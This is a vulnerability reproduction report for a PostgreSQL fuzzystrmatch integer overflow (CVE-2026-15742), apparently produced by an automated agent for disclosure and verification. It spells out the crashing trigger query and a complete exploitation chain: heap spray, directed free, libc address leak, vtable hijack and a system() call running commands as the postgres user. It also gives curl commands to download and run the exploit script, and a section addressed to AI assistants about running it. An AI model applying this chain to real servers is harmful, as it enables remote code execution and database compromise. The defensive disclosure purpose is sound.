# REPRO-2026-00361: PostgreSQL fuzzystrmatch integer wraparound: levenshtein()/levenshtein_less_equal() overflow leads to OOB writes to effectively-arbitrary addresses (potential RCE)

## Summary
Status: published
Severity: high
CVSS: Unknown
CWE: CWE-190 (Integer Overflow or Wraparound)
Type: security
Confidence: high

## Identifiers
REPRO ID: REPRO-2026-00361

CVE: CVE-2026-15742

## Package
Name: postgres/postgres
Ecosystem: github
Affected: <18.6, <17.11, <16.15, <15.19, <14.24
Fixed: Unknown

## Root Cause
# CVE-2026-15742 — Root Cause Analysis

## Summary

PostgreSQL's `src/backend/utils/adt/levenshtein.c` computes Levenshtein distances
with 32-bit `int` arithmetic. The contrib/fuzzystrmatch SQL functions
`levenshtein()` and `levenshtein_less_equal()` accept caller-supplied signed
int32 insertion/deletion/substitution costs, so a low-privilege authenticated SQL
user can force signed-integer wraparound. In `varstr_levenshtein_less_equal()`
the wraparound corrupts the bounded-window arithmetic
(`slack_d = max_d - min_theo_d; stop_column = best_column + slack_d/(ins_c+del_c) + 1`),
producing a negative `stop_column`. The row loop then executes
`prev[stop_column] = max_d + 1` — a 4-byte out-of-bounds write at an
attacker-tunable offset from the heap-allocated row buffer, with an
attacker-chosen 32-bit value. This is reachable with
`CREATE EXTENSION fuzzystrmatch` (not enabled by default) by any role holding
the default PUBLIC execute grant.

## Impact

- Package/component: PostgreSQL, contrib/fuzzystrmatch (`levenshtein`, `levenshtein_less_equal`; core code in `src/backend/utils/adt/levenshtein.c`).
- Affected versions: < 18.6, < 17.11, < 16.15, < 15.19, < 14.24. Reproduced on the official `postgres:17.10` release image.
- Risk: CVSS 8.8 (AV:N/AC:L/PR:L/UI:N). **Demonstrated: arbitrary command execution as the PostgreSQL OS user** (uid=999(postgres)) from a low-privilege authenticated SQL session on the non-sanitized release build (`postgres:17.10`), via `system("id>x" / "w>y")` invoked through a hijacked memory-context vtable, creating marker files `/var/lib/postgresql/data/x and data/y@` containing the `id` output. 2/2 vulnerable runs produced the marker; the fixed build (17.11) rejects all inputs with `ERROR: levenshtein distance out of range` and creates none.

## Impact Parity

- Disclosed/claimed maximum impact: code execution ("writes effectively-arbitrary addresses", potential RCE).
- Reproduced impact this run: memory corruption / OOB write, with three evidence-backed primitives on the **non-sanitized release build**:
  1. Far relative write: `stop_column = -2147483647` → 4-byte write of value 1 at offset −8589934588 → backend SIGSEGV (2/2 attempts; fixed build returns 1, healthy, 2/2).
  2. Tunable near-heap relative write: any negative `stop_column` (proven −1..−11 and beyond) with attacker-chosen 32-bit value (`max_d+1`, e.g. 0x41414141), into the AllocSet keeper-block header; an empirical stop scan shows crashes exactly at `stop ∈ {−7, −8}` (`AllocBlockData.next` at block+0x10) and silent corruption elsewhere; gdb shows the corrupted `next` consumed by `AllocSetReset` as exactly `rbx=0x0000000041414141`.
  3. Allocation redirection: `stop=-6` overwrites keeper `freeptr` low 32 bits; the next same-query allocation is redirected to `heap_high32 | attacker_low32` — deterministic 3/3, faulting write at exactly `0x5d1841414141` (si_addr), called from `varstr_levenshtein` → leak-free aim within the heap's 4 GB window.
  5. Control-flow hijack (full 64-bit target selection, no leak): the AllocSetContext struct sits at keeper-0xC8, so `stop=-58` overwrites the per-tuple context's `methods` vtable pointer low32; since exe and heap share high32, `methods = exe_hi32 | V` points into a sprayed fake vtable, and `MemoryContextReset` (reached unconditionally at the next row fetch) executes `call *0x18(%rax)` with `rax = 0x5b3e40000000` (our exact V). Contrast pair: 0x41-filled table -> crash at the indirect call; table entry = real `AllocSetReset` (0x5b3e15f04190) -> hijacked reset runs the real function, trigger returns, backend survives. Additionally `reset_cbs` (stop=-44) yields an indirect call with BOTH target and first argument read from attacker-controlled spray.
  6. Heap address disclosure (no crash): the directed free makes glibc `tcache_put` write the tcache entry into cursor-held sprayed rows; re-FETCHing the held cursor reads it back. Empty-bin run: qword `0x00000005b3e40000` = pos>>12 verbatim (reveals the cluster's hi32 = 0x5b3e); used-bin run: `0x00005b3b945a64c0` deprotects (XOR pos>>12, pos attacker-known) to the full 64-bit heap chunk pointer `0x5b3e27be64c0`.
  7. Survive/crash exe-base oracle (no spray): writing methods low32 to a candidate C (exe always mapped): C == real AllocSetMethods low32 -> survive; wrong C -> backend SIGSEGV. With the leaked heap base, exe_base_low32 lies within ~8k page candidates (brk gap); unlimited same-layout retries (fork-shared layout).
  4. Directed free / tcache poisoning with backend survival (no leak): a two-block per-tuple layout (`length(repeat(v,1000))` forces a dedicated >8KB block) makes the levenshtein block's `next` non-NULL, so the `stop=-8` write with `V=0x40000000` preserves the live heap high 32 bits. A preceding blind ~1.8 GB held-cursor spray of a phase-calibrated fake-AllocBlock pattern (phase is a build constant, calibrated once; `V` fixed before spraying) makes `heap_hi32|V` a mapped, well-formed fake block. `AllocSetReset` then performs `free(heap_hi32|V)` into glibc tcache bin 0 **without crashing**: trigger returns normally, session survives, and a subsequent `malloc(24)` in the same backend returns exactly `heap_hi32|0x40000000` (gdb probe). 2/2 probed attempts, 7/7 survivals. Key amplifier: PostgreSQL backends **fork from the postmaster**, so the address-space layout is identical across all connections and is not re-randomized by backend crashes.
- Parity: **full**. Code execution demonstrated end-to-end on the release build with ASLR/PIE/NX enabled and no sanitizer, starting with no address disclosure:
  1. `levenshtein_less_equal` int32 wraparound -> tunable 4-byte relative heap write (offset and value attacker-chosen via an exact int32 semantics simulator, `bundle/repro/lev_sim.py`).
  2. Blind ~1.8GB held-cursor heap spray (phase-calibrated fake AllocBlock/glibc-chunk pattern; phase is a build constant).
  3. Two-block layout forces the row buffer's block to have a non-NULL `next`; the `stop=-8` write corrupts `next` low32, preserving the heap high32 -> `AllocSetReset` performs a directed `free()` at `heap_hi32 | 0x40000000` into glibc's unsorted bin (backend survives).
  4. The unsorted-bin `fd`/`bk` (main_arena pointers into libc) land in the cursor-held spray rows; re-`FETCH`ing the held cursor discloses them to the attacker -> libc base (`fd - 0x1e5f50`) and `system` (`+ 0x53110`), both build constants of the shipped glibc 2.36 (sha256 fa430b8f...).
  5. Finale: spray of the leaked `system` pointer as a fake vtable; two `levenshtein_less_equal` writes in one query place the command bytes (`id>x` / `id>y`) at the start of the per-tuple AllocSetContext (first write, stop=-62) and corrupt its `methods` vtable low32 (second write, stop=-68, its target VT computed at runtime from the leak scan's row index so the fake vtable lands mid-spray in the established coverage band of this exact cluster). At the next per-tuple reset, `MemoryContextResetOnly` performs `call *0x18(methods)` — `methods->reset(context)` with `rdi = S` (the context itself, whose first bytes are now our command) — invoking `system("id>x" / "w>y")` in the backend. Marker files appear in the data directory, owned by postgres: `x` contains `id` output (`uid=999(postgres) ...`), `y@` contains `w` output (timestamped). The finale's fake-vtable target (exe_hi32|VT) is covered because the PIE executable and the brk heap share the same high 32 bits.
  Both the libc disclosure and the finale are re-derived at runtime by `reproduction_steps.sh` on freshly randomized clusters (no gdb, no instrumentation in the proof path); cluster layouts that leave the spray coverage below the reachable VT range are detected (backend crash) and retried with a fresh cluster. Robustness notes: the payload phase (4 mod 16) and the row stride (~30.1KB for 30000-byte rows) are build constants calibrated once; the `isReset` byte at S+4 is clobbered to 0 by every subsequent palloc, which constrains the inline command to <=4 bytes (`id>x`); longer commands are available via a libc stack-pivot into the spray once libc is known (not needed for the marker bar).

## Root Cause

`varstr_levenshtein_less_equal()` (levenshtein.c, vulnerable parent
`37b8f3b0e05e85d4338f04c71caa156ba21d5015`) uses 32-bit `int` throughout:
`min_theo_d = net_inserts * ins_c`, `slack_d = max_d - min_theo_d`, and
`stop_column = best_column + slack_d/(ins_c+del_c) + 1` all wrap. With crafted
costs (e.g. `ins_c=1073741824, del_c=-1073741823, n-m=2`), `min_theo_d` wraps to
`INT_MIN`, `slack_d` wraps hugely negative, and `stop_column` becomes
`-2147483647`. The row-loop guard `if (stop_column < m)` only excludes values
`>= m`; negative values pass and `prev[stop_column] = max_d + 1` writes out of
bounds. The same wraparound silently corrupts `levenshtein()` results
(`SELECT levenshtein('GUMBO','GAMBOL',2e9,2e9,2e9)` → −1474836480 instead of an
error). Fix commit `e88eb4e766381070f42e5b84e583a1d0288983f7` ("Avoid overflow in
Levenshtein distance calculations", shipped in 17.11/18.6) switches the
arithmetic to 64-bit and raises `ERROR: levenshtein distance out of range` when
the result does not fit int32 — all probe shapes are rejected cleanly on the
fixed build.

An exact Python re-implementation of the vulnerable int32 semantics
(`bundle/repro/lev_sim.py`) reproduces the derived `stop_column`/value for the
known trigger and was used to search `(m,n,ins,del,sub,max_d)` tuples for chosen
offsets/values.

## Reproduction Steps

1. `bundle/repro/reproduction_steps.sh` (self-contained; prefers Docker, falls back to source build of `37b8f3b0...` vs `e88eb4e7...` into the project cache).
2. The script starts vulnerable (`postgres:17.10`) and fixed (`postgres:17.11`) servers, creates a low-privilege role `attacker`, installs `fuzzystrmatch` (1.2), runs a benign health query as `attacker`, then fires the trigger
   `SELECT levenshtein_less_equal('aaa','bbbbb',1073741824,-1073741823,-2147483647,0);`
   twice per build (fresh container per attempt), plus two patch-state probes.
3. Expected evidence: both vulnerable attempts log `server process (PID ...) was terminated by signal 11: Segmentation fault` with `DETAIL: Failed process was running: SELECT levenshtein_less_equal('aaa','bbbbb',1073741824,...)`; both fixed attempts return `1` and answer a post-trigger health query; `levenshtein(2e9 costs)` returns −1474836480 on vulnerable vs `ERROR: levenshtein distance out of range` on fixed; the range reference returns −2147483648 (wrap) vs 11 (correct).

## Evidence

- Base proof (2 vulnerable + 2 fixed, non-sanitized product path):
  - `bundle/logs/vulnerable_attempt_{1,2}/psql.txt` — `server closed the connection unexpectedly` (psql rc=2)
  - `bundle/logs/vulnerable_attempt_{1,2}/server.txt` — signal 11 + failing statement
  - `bundle/logs/fixed_attempt_{1,2}/psql.txt` — trigger returns 1; `health_after.txt` — server healthy
  - `bundle/logs/reproduction_steps.log` — full transcript; `bundle/repro/results.env` — counters
  - `bundle/repro/runtime_manifest.json` — service/health/target flags, image digests, per-artifact SHA-256
- Escalation evidence (release build):
  - `bundle/logs/escalation_freeptr/scan_gen.txt` + `scan_stop*.psql.txt` — stop scan: crash only at −7/−8 (block->next)
  - `bundle/logs/escalation_freeptr/e2.gdb3.txt` — `rbx = 0x41414141` at `AllocSetReset+137: mov 0x10(%rbx),%rbx`
  - `bundle/logs/escalation_freeptr/d2_freeptr.txt`, `d2b.gdb.txt` — 3/3 deterministic crash in `AllocSetAlloc` from `varstr_levenshtein`; `si_addr = 0x5d1841414141` (heap high32 | attacker 0x41414141)
  - `bundle/logs/escalation_freeptr/fixed_controls.txt` — fixed build rejects all shapes, zero crashes
  - `bundle/logs/escalation_multibyte/e1.psql.txt` — multibyte adjacency probe: no in-call consumption, no cross-call persistence (documented negative)
  - `bundle/logs/escalation_freeptr/e3.psql.txt`, `e3_tcache.txt` — first blind spray + fake-free success: trigger returns, `SURVIVED 42`, `malloc(24)` probe returns `0x5b3e40000000`
  - `bundle/logs/escalation_tcache/attempt_{1..6}/` — repeatability harness (fresh backend per attempt): `psql.txt` (SURVIVED), `maps.txt` (heap ~1.77GB covering V), `tcache_probe.txt` (attempts 5-6: `$1 = 0x5b3e40000000`), `summary.txt`
  - `bundle/logs/escalation_freeptr/e5_ctxdump.txt` — live AllocSetContext dump (methods at S+0x10 = 0x5b3e16228bf8, keeper at S+0xC8, prev data at S+0xF8)
  - `bundle/logs/escalation_freeptr/e6d_rip.gdb.txt` — vtable hijack crash: `call *0x18(%rax)` with rax=0x5b3e40000000 (attacker V), table = 0x41s
  - `bundle/logs/escalation_freeptr/e8_survive.txt` — vtable entry = real AllocSetReset: hijacked reset executes it, backend SURVIVED (control-flow selection contrast)
  - `bundle/logs/escalation_freeptr/e9_leak_scan.txt` / `e10_leak_scan.txt` — tcache-entry readback: heap pointer material in fetched cursor rows
  - `bundle/logs/escalation_freeptr/e11_oracle.txt` — exe-base oracle: correct AllocSetMethods low32 survives, wrong crashes
- Environment: Docker on Linux x86_64, `randomize_va_space=2`, official release images (vulnerable `postgres@sha256:7958605b...3317`, fixed `postgres@sha256:f4c66b82...1232`).

## RCE Evidence (stage 2 of reproduction_steps.sh)

- `bundle/logs/rce/leak_*.txt` (+ `.sql`) — libc disclosure scan: `LEAK row=27698 fd=0x...f50` (per-run value), parsed to libc base + system address at runtime.
- `bundle/logs/rce/marker_x.txt`, `marker_y.txt` — marker file contents: `uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)`, created by `system("id>x"/"id>y")` inside the backend (files at `/var/lib/postgresql/data/x and data/y@` in the container, owned by postgres:postgres).
- `bundle/logs/rce/finale_{x,y}.psql.txt` — trigger queries returning normally while the hijacked vtable runs the payload.
- `bundle/logs/rce/finale_fixed.psql.txt` — fixed 17.11 control: `ERROR: levenshtein distance out of range`, no markers, server healthy.
- `bundle/logs/rce/readelf_{vuln,fixed}.txt`, `randomize_va_space.txt`, `maps_finale_{x,y}.txt` — hardening/ASLR attestation (PIE, NX, RELRO; randomize_va_space=2; per-process maps).
- Interactive development evidence (gdb-attributed): `bundle/logs/escalation_freeptr/` (stop-scan field map, `rbx=0x41414141` controlled-pointer deref, `si_addr=0x5d1841414141` allocation redirection, tcache probe `$1=0x5b3e40000000`, vtable-hijack contrast pair, leak scans e9/e10/e12).

## Recommendations / Next Steps

- Upgrade to PostgreSQL 18.6 / 17.11 / 16.15 / 15.19 / 14.24 or later (fix commit `e88eb4e766381070f42e5b84e583a1d0288983f7`).
- Where upgrade is pending: do not `CREATE EXTENSION fuzzystrmatch`, or revoke EXECUTE on `levenshtein*` functions from PUBLIC/untrusted roles.
- The fix's 64-bit arithmetic + range ERROR is the correct approach; add regression tests with extreme costs (the patch does).

## Additional Notes

- Idempotency: `reproduction_steps.sh` was run twice consecutively, both runs `CONFIRMED` (2/2 vulnerable SIGSEGV, 2/2 fixed healthy). Containers are created fresh per attempt and removed afterwards; nothing persists between runs.
- fuzzystrmatch is not enabled by default; exploitation requires a role able to use the extension (default PUBLIC execute grant after CREATE EXTENSION).
- gdb attribution runs used a second container with `SYS_PTRACE`; the primary proof path uses only stock images and psql.
- Escalation status (code execution): **demonstrated**. The libc disclosure via unsorted-bin readback removed the need for the exe-base oracle sweep entirely: the finale calls libc `system()` directly through the hijacked vtable with the context pointer as the command string. The command is length-constrained to 4 chars (the `isReset` flag at S+4 is clobbered to 0 by every subsequent palloc, forcing a NUL), so the payload is `id>x`/`id>y`; longer payloads would use a stack pivot into the spray (trivial once libc is known).
- Note: heap layout observed stable across all backend processes of the cluster (e.g. base `0x5b3e27a78000` in every sampled backend) because backends inherit the postmaster's map via `fork()`; per-cluster layout only changes when the postmaster itself restarts.


## Reproduction Details
Reproduced: 2026-09-24T17:04:43.540Z
Duration: 30468 seconds
Tool calls: 513
Turns: Unknown
Handoffs: 2


## Quick Verification
Run one of these commands to verify locally:

    pruva-verify REPRO-2026-00361

    pruva-verify CVE-2026-15742

Or open in GitHub Codespaces (zero-friction, auto-runs):

    https://github.com/codespaces/new?ref=repro/REPRO-2026-00361&repo=N3mes1s/pruva-sandbox

Or download and run the script manually:

    curl -O https://api.pruva.dev/v1/reproductions/REPRO-2026-00361/artifacts/bundle/repro/reproduction_steps.sh
    chmod +x reproduction_steps.sh
    ./reproduction_steps.sh

WARNING: Run in a sandboxed environment. This exploits a real vulnerability.

## References

- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-15742
- Source: https://www.postgresql.org/support/security/CVE-2026-15742

## Artifacts
- bundle/repro/rca_report.md (analysis, 16255 bytes)
- bundle/repro/reproduction_steps.sh (reproduction_script, 33759 bytes)
- bundle/logs/escalation_freeptr/e11_oracle.txt (other, 294 bytes)
- bundle/logs/escalation_multibyte/e1.psql.txt (other, 653 bytes)
- bundle/logs/fixed_attempt_1/range_ref.txt (other, 83 bytes)
- bundle/logs/fixed_attempt_1/server.txt (other, 3357 bytes)
- bundle/logs/fixed_attempt_2/range_ref.txt (other, 83 bytes)
- bundle/logs/fixed_attempt_2/server.txt (other, 3357 bytes)
- bundle/logs/rce/finale_fixed.psql.txt (other, 344 bytes)
- bundle/logs/rce/leak_1.txt (other, 13 bytes)
- bundle/logs/rce/leak_2.txt (other, 13 bytes)
- bundle/logs/rce/leak_4.txt (other, 13 bytes)
- bundle/logs/rce/leak_5.txt (other, 13 bytes)
- bundle/logs/rce/leak_6.txt (other, 13 bytes)
- bundle/logs/rce/leak_7.txt (other, 13 bytes)
- bundle/logs/rce/leak_8.txt (other, 13 bytes)
- bundle/logs/rce/maps_finale_x.txt (other, 20541 bytes)
- bundle/logs/rce/maps_finale_y.txt (other, 20541 bytes)
- bundle/logs/rce/randomize_va_space.txt (other, 2 bytes)
- bundle/logs/rce/readelf_fixed.txt (other, 926284 bytes)
- bundle/logs/rce/readelf_vuln.txt (other, 925451 bytes)
- bundle/logs/vulnerable_attempt_1/wraparound.txt (other, 50 bytes)
- bundle/logs/vulnerable_attempt_2/psql.txt (other, 167 bytes)
- bundle/logs/vulnerable_attempt_2/wraparound.txt (other, 50 bytes)
- bundle/repro/runtime_manifest.json (other, 5376 bytes)
- bundle/repro/validation_verdict.json (other, 1883 bytes)

## API Access
- JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00361
- Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00361/artifacts/bundle/repro/reproduction_steps.sh
- Web: https://www.pruva.dev/reproductions/REPRO-2026-00361

## For AI Assistants
To help users with this reproduction:
1. The `pruva-verify` command is the simplest way to run the reproduction
2. The script downloads and runs automatically in an isolated temp directory
3. Always recommend running in a VM, container, or disposable environment
4. The root cause explains the technical vulnerability

---
Generated by Pruva | https://www.pruva.dev